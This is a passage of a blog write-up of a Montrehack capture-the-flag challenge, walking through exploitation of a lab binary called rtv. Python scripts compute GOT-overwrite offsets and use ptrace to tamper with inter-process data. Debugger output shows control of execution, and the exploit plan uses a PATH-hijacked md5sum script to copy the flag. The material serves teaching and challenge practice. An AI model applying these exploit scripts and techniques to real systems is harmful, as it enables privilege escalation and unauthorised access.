A naive approach would be to calculate the write addresses for each value of i. This can be done with the following script :</p>
import</span> sys</span></span>
BASE</span> = 0x</span>0804A100</span></span>
addresses</span> =</span> [</span></span>
    0x</span>0804A010</span>,</span> # read</span></span>
    0x</span>0804A014</span>,</span> # printf</span></span>
    0x</span>0804A030</span>,</span> # puts</span></span>
    0x</span>0804A03C</span>,</span> # exit</span></span>
]</span></span>
i</span> =</span> 0</span></span>
while</span> (</span>i</span> <= 0x</span>FFFFFFFF</span>):</span></span>
    if</span> i</span> %</span> 100000</span> ==</span> 0</span> :</span></span>
        print</span>("</span>Trying i = </span>{0}</span>...</span>".</span>format</span>(</span>hex</span>(</span>i</span>)))</span></span>
</span>
    writeAddr</span> =</span> (</span>BASE</span> +</span> (</span>i</span> * 0x</span>88</span>))</span> & 0x</span>FFFFFFFF</span></span>
    for</span> addr</span> in</span> addresses</span>:</span></span>
        if</span> addr</span> ==</span> writeAddr</span> or</span> (</span>addr</span> ></span> writeAddr</span> and</span> addr</span> -</span> writeAddr</span> <=</span> 8</span>):</span></span>
            print</span>("</span>FOUND : writeAddr </span>{0}</span> i = </span>{1}</span>".</span>format</span>(</span>hex</span>(</span>writeAddr</span>),</span> i</span>))</span></span>
            sys</span>.</span>exit</span>()</span></span>
    i</span> +=</span> 1</span></span></code></pre>
While this approach will find a result, it is very slow. A better approach is to take into account the fact that the value of writeAddr</code> grows by 0x88 each time i is increased. We can bring back writeAddr</code> around the area of the address we are targeting by increasing i so that it cycles over the 32 bit address space. To obtain this value, we divide 0xFFFFFFFF by 0x88 which gives us 31 580 641. Then it's just a matter of adjusting i upward or downward until we are between 0x88 bytes of our target address. We have now saved 31 580 640 useless computations, that's a nice optimization :-)</p>
addresses</span> =</span> [</span></span>
    0x</span>0804A010</span>,</span> # read</span></span>
    0x</span>0804A014</span>,</span> # printf</span></span>
    0x</span>0804A030</span>,</span> # puts</span></span>
    0x</span>0804A03C</span>,</span> # exit</span></span>
]</span></span>
BASE</span>     = 0x</span>0804A100</span></span>
TARGET</span>   =</span> addresses</span>[</span>0</span>]</span></span>
i</span> =</span> 0</span></span>
n</span> =</span> 0</span></span>
while</span> i</span> <= 0x</span>FFFFFFFF</span>:</span></span>
    i</span>=</span>(</span>31580641</span>*</span>n</span>)</span></span>
    writeaddr</span> =</span> 0</span></span>
    diff</span> =</span> 0</span></span>
</span>
    while True</span>:</span></span>
        writeaddr</span> =</span> (</span>BASE</span> +</span> (</span>i</span> * 0x</span>88</span>))</span> & 0x</span>FFFFFFFF</span></span>
        if</span> writeaddr</span> >=</span>  TARGET</span>:</span></span>
            diff</span> =</span> writeaddr</span> -</span> TARGET</span></span>
            if</span>   diff</span> <= 0x</span>88</span>:</span></span>
                break</span></span>
            else</span>:</span></span>
                i</span> -=</span> 1</span></span>
        else</span>:</span></span>
            diff</span> =</span> TARGET</span> -</span> writeaddr</span></span>
            if</span>  diff</span> <= 0x</span>88</span>:</span></span>
                break</span></span>
            else</span>:</span></span>
                i</span> +=</span> 1</span></span>
</span>
</span>
    print</span> "</span>i = </span>%08x</span> writeaddr =  </span>%08x</span> diff = </span>%d</span>"</span> %</span> (</span>i</span>,</span> writeaddr</span>,</span> diff</span>)</span></span>
    n</span> +=</span> 1</span></span></code></pre>
The script actually executes instantly, provided that our target address is near the base address 0x0804A100 which is the case for the GOT. Here is a part of the output for read</code>.</p>
ekse@montrehack:~/level2$ python map_address.py</span></span>
i = -0000001 writeaddr =  0804a078 diff = 104</span></span>
i = 01e1e1e1 writeaddr =  0804a088 diff = 120</span></span>
i = 03c3c3c2 writeaddr =  0804a010 diff = 0</span></span>
i = 05a5a5a3 writeaddr =  08049f98 diff = 120</span></span>
i = 07878785 writeaddr =  08049fa8 diff = 104</span></span>
i = 09696967 writeaddr =  08049fb8 diff = 88</span></span>
i = 0b4b4b49 writeaddr =  08049fc8 diff = 72</span></span>
i = 0d2d2d2b writeaddr =  08049fd8 diff = 56</span></span>
i = 0f0f0f0d writeaddr =  08049fe8 diff = 40</span></span>
i = 10f0f0ef writeaddr =  08049ff8 diff = 24</span></span>
i = 12d2d2d1 writeaddr =  0804a008 diff = 8</span></span>
i = 14b4b4b2 writeaddr =  08049f90 diff = 128</span></span>
i = 16969694 writeaddr =  08049fa0 diff = 112</span></span>
i = 18787876 writeaddr =  08049fb0 diff = 96</span></span>
i = 1a5a5a58 writeaddr =  08049fc0 diff = 80</span></span>
i = 1c3c3c3a writeaddr =  08049fd0 diff = 64</span></span>
i = 1e1e1e1c writeaddr =  08049fe0 diff = 48</span></span>
i = 1ffffffe writeaddr =  08049ff0 diff = 32</span></span>
i = 21e1e1e0 writeaddr =  0804a000 diff = 16</span></span>
i = 23c3c3c1 writeaddr =  08049f88 diff = 136</span></span>
i = 25a5a5a3 writeaddr =  08049f98 diff = 120</span></span>
i = 27878785 writeaddr =  08049fa8 diff = 104</span></span>
i = 29696967 writeaddr =  08049fb8 diff = 88</span></span>
i = 2b4b4b49 writeaddr =  08049fc8 diff = 72</span></span>
i = 2d2d2d2b writeaddr =  08049fd8 diff = 56</span></span>
i = 2f0f0f0d writeaddr =  08049fe8 diff = 40</span></span>
i = 30f0f0ef writeaddr =  08049ff8 diff = 24</span></span>
....</span></span></code></pre>
We can see that by using an i value of 03c3c3c2 we are able to overwrite read</code> directly.</p>
rtvtrace.py - ptrace to my heart</h2>
I wrote a script using python-ptrace to modify the values of i and runtime that are sent in the pipe by the child process. To go faster, I actually used the Gdb implementation provided with the library which allows to easily create breakpoints and modify memory and registry values.</p>
The code is actually quite simple. It sets 2 breakpoints, one before the write of i in the pipe and the second before the write of runtime. In each case eax points to the data that will be written, we simply  point it to another address with our own supplied data. Note that in this debugger, breakpoint are removed after being hit so they will be executed only for the first command. To test that it works, we overwrite the address of read in the GOT with 0x41424344.</p>
import</span> sys</span></span>
import</span> struct</span></span>
from</span> gdb</span> import</span> Gdb</span></span>
from</span> ptrace</span>.</span>debugger</span> import</span> PtraceDebugger</span>,</span> ProcessSignal</span>,</span> ProcessExit</span></span>
pid</span> =</span> sys</span>.</span>argv</span>[</span>1</span>]</span></span>
gdb</span> =</span> Gdb</span>()</span></span>
gdb</span>.</span>debugger</span> =</span> PtraceDebugger</span>()</span></span>
gdb</span>.</span>process</span>  = None</span></span>
gdb</span>.</span>attachProcess</span>(</span>pid</span>)</span></span>
print</span>("</span>[!] attached to </span>{0}</span>".</span>format</span>(</span>pid</span>))</span></span>
#gdb.breakpoint("0x80487e0")</span></span>
gdb</span>.</span>breakpoint</span>("</span>0x080487d6</span>")</span></span>
gdb</span>.</span>breakpoint</span>("</span>0x08048802</span>")</span></span>
while</span>(</span>True</span>):</span></span>
    try</span>:</span></span>
        gdb</span>.</span>cont</span>()</span></span>
        eip</span> =</span> gdb</span>.</span>process</span>.</span>getreg</span>("</span>eip</span>")</span></span>
        print</span>("</span>EIP: </span>{0}</span>".</span>format</span>(</span>hex</span>(</span>eip</span>)))</span></span>
        #if eip == 0x80487e0:</span></span>
        #    print("pipe descriptor: {0}".format(hex(gdb.process.getreg("eax"))))</span></span>
        # WRITE WHERE</span></span>
        if</span> eip</span> == 0x</span>80487d6</span>:</span></span>
            eax</span> =</span> gdb</span>.</span>process</span>.</span>getreg</span>("</span>eax</span>")</span></span>
            i</span> =</span> gdb</span>.</span>process</span>.</span>readBytes</span>(</span>eax</span>,</span> 4</span>)</span></span>
            print</span>("</span>Current id loc: </span>{0}</span> value : </span>{1}</span>".</span>format</span>(</span>hex</span>(</span>eax</span>),</span> struct</span>.</span>unpack</span>("</span><I</span>",</span>i</span>)))</span></span>
            print</span>("</span>Changing data location for write of id...</span>")</span></span>
            gdb</span>.</span>process</span>.</span>writeBytes</span>(</span>0x</span>0804a060</span>,</span> struct</span>.</span>pack</span>("</span><I</span>",</span>63161282</span>))</span></span>
            gdb</span>.</span>process</span>.</span>setreg</span>("</span>eax</span>",</span> 0x</span>0804a060</span>)</span></span>
        # WRITE WHAT</span></span>
        if</span> eip</span> == 0x</span>08048802</span>:</span></span>
            gdb</span>.</span>process</span>.</span>writeBytes</span>(</span>0x</span>0804a060</span>,</span> struct</span>.</span>pack</span>("</span><I</span>",</span> 0x</span>08048828</span>)</span> +</span> "</span>\xFF\xF1\xF2\xF3</span>")</span></span>
            gdb</span>.</span>process</span>.</span>setreg</span>("</span>eax</span>",</span> 0x</span>0804a060</span>)</span></span>
    except</span> ProcessSignal</span>,</span> event</span>:</span></span>
        print</span>("</span>[!] Event </span>{0}</span>".</span>format</span>(</span>event</span>))</span></span>
        continue</span></span>
    except</span> ProcessExit</span>,</span> event</span>:</span></span>
        print</span>(</span>event</span>)</span></span>
    except</span> Exception</span>,</span> event</span>:</span></span>
        print</span>("</span>Unhandled exception : </span>{0}</span>".</span>format</span>(</span>event</span>))</span></span>
        break</span></span></code></pre>
The setup of our exploit will be as follow :</p>

Create an env script that writes PARENTPID to a file named "pid"</li>
execute PATH=.:$PATH rtv</code></li>
execute rtvtrace.py and attach to the child process</li>
</ol>
Here is the output of rtvtrace.py when executed.</p>
ekse@montrehack:~/level2/$ ./run_rtvtrace.sh</span></span>
Waiting for pid...</span></span>
Switch to</span></span>
[!] attached to 1188</span></span>
New breakpoint:</span></span>
New breakpoint:</span></span>
------------------------------------------------------------</span></span>
PID: 1188</span></span>
Signal: SIGCHLD</span></span>
Child process 1191 exited normally</span></span>
Signal sent by user 1000</span></span>
------------------------------------------------------------</span></span>
interrupted by SIGCHLD</span></span>
EIP: 0xb775d424L</span></span>
Send SIGCHLD to</span></span>
------------------------------------------------------------</span></span>
PID: 1188</span></span>
Signal: SIGCHLD</span></span>
Child process 1199 exited normally</span></span>
Signal sent by user 1000</span></span>
------------------------------------------------------------</span></span>
interrupted by SIGCHLD</span></span>
EIP: 0xb775d424L</span></span>
Send SIGCHLD to</span></span>
------------------------------------------------------------</span></span>
PID: 1188</span></span>
Signal: SIGCHLD</span></span>
Child process 1201 exited normally</span></span>
Signal sent by user 1000</span></span>
------------------------------------------------------------</span></span>
interrupted by SIGCHLD</span></span>
EIP: 0xb775d424L</span></span>
Send SIGCHLD to</span></span>
------------------------------------------------------------</span></span>
PID: 1188</span></span>
Signal: SIGCHLD</span></span>
Child process 1203 exited normally</span></span>
Signal sent by user 1000</span></span>
------------------------------------------------------------</span></span>
interrupted by SIGCHLD</span></span>
EIP: 0xb775d424L</span></span>
Send SIGCHLD to</span></span>
Stopped at</span></span>
EIP: 0x80487d6L</span></span>
Current id loc: 0xbff5295cL value : (0,)</span></span>
Changing data location for write of id...</span></span>
Stopped at</span></span>
EIP: 0x8048802L</span></span>
Process 1188 exited normally</span></span>
Unhandled exception : None</span></span></code></pre>
And sure enough, when running rtv in GDB execution ends up at 0x44434241.</p>
ekse@montrehack:~/level2/exploit_1$ ./run_level2.sh</span></span>
(gdb) run</span></span>
Starting program: /home/level2/rtv</span></span>
Command runtime verification tool v1.0</span></span>
Please wait while command runtimes are being verified...</span></span>
Program received signal SIGSEGV, Segmentation fault.</span></span>
0x44434241 in ?? ()</span></span>
(gdb) bt</span></span>
#0  0x44434241 in ?? ()</span></span>
#1  0x080489d5 in read_measurements ()</span></span>
#2  0x08048bdc in main ()</span></span></code></pre>Where do we put our shellcode?</h2>
We now have control of the execution of the parent process. The last thing we need to do is to figure where to put our shellcode and jump to it. A technique is often use when doing this kind of challenge is to put the shellcode in an environment variable, prepend a large nopsled in front of it and jump somewhere in it. However this approach does not work as the stack is defined as non-executable, which we can confirm with execstack.</p>
ekse@montrehack:~/level2/exploit_1$ execstack /home/level2/rtv</span></span>
- /home/level2/rtv</span></span></code></pre>
If we look at the output of the map_address.py script, we see that we can have multiple consecutive writes of 8 bytes so we should probably be able to write a short shellcode somewhere. The problem we are facing is that none of the memory section of rtv is both writeable and executable.</p>
</p>
Another approach would be to use a ROP payload to set the memory region where we put our shellcode executable, but that is somewhat complicated and I'm lazy so I kept looking for an easier way. I reviewed what could be overwritten in the memory and thought about the commands in the Measurements table. We could probably overwrite one of the commands and have it execute what we want, but that doesn't work either as it's the commands in the child address space that are executed... and then it all became clear.</p>
</p>
All we need to do is to redirect execution to make_measurements()</code> so that it is executed in the parent process. This way we can use another command that is called by system()</code> (I used md5sum</code>) to copy the flag. The final setup of our exploit is like this:</p>

env</code> is a script that writes PARENTPID to the file "pid"</li>
md5sum</code> is a script that copies the flag to the file "flag"</li>
execute PATH=.:$PATH rtv</code></li>
attach to the child process with rtvtrace.py</li>
overwrite the address of the read()</code> function in the GOT with the address of make_measurements()</code></li>
md5sum</code> is called by the parent process, we win.</li>
</ol>
You can find the code of the exploit and the scripts I presented on my github repository</a>. The slides I made for Montrehack are also available</a>.</p>
Conclusion</h2>
This challenge required the use of 3 different vulnerabilities of the program. Each of those taken separately was not sufficient to exploit the program. This is something that is often needed today to bypass modern protection mechanisms, for example one of the winners of Pwn2Own last year used 6 vulnerabilities</a> to exploit Google Chrome.</p>
As I write these lines, I just learned about a new vulnerability</a> in FreeBSD that was disclosed today and that involves ptrace and mmap. While the context is completely different, it's funny to see that the exploit code</a> is actually simpler than what we had to do :-)</p>

Security and stuff

Building a blog with Zola and Cloudflare Pages

My current setup: Zola and Cloudflare Pages</h2>

Previous platforms</h2> I used different components over the years to host my blog, I'll briefly describe them and why I decided to change.</p>

Building libFuzzer fuzzers on Windows with cmake/Visual Studio

libnyquist: heap overflow in Vorbis decoder

CSAW 2014 Exploit 500 writeup : xorcise

Solving picoCTF 2013 Harder Serial with Z3

The challenge</h2> Harder Serial comes in the form of a Python script, we need to find a working serial for the RoboCorpIntergalactic software. The full script code is below.</p>

naga3 NoSuchCon CTF 2013 writeup

Previous platforms</h2>
I used different components over the years to host my blog, I'll briefly describe them and why I decided to change.</p>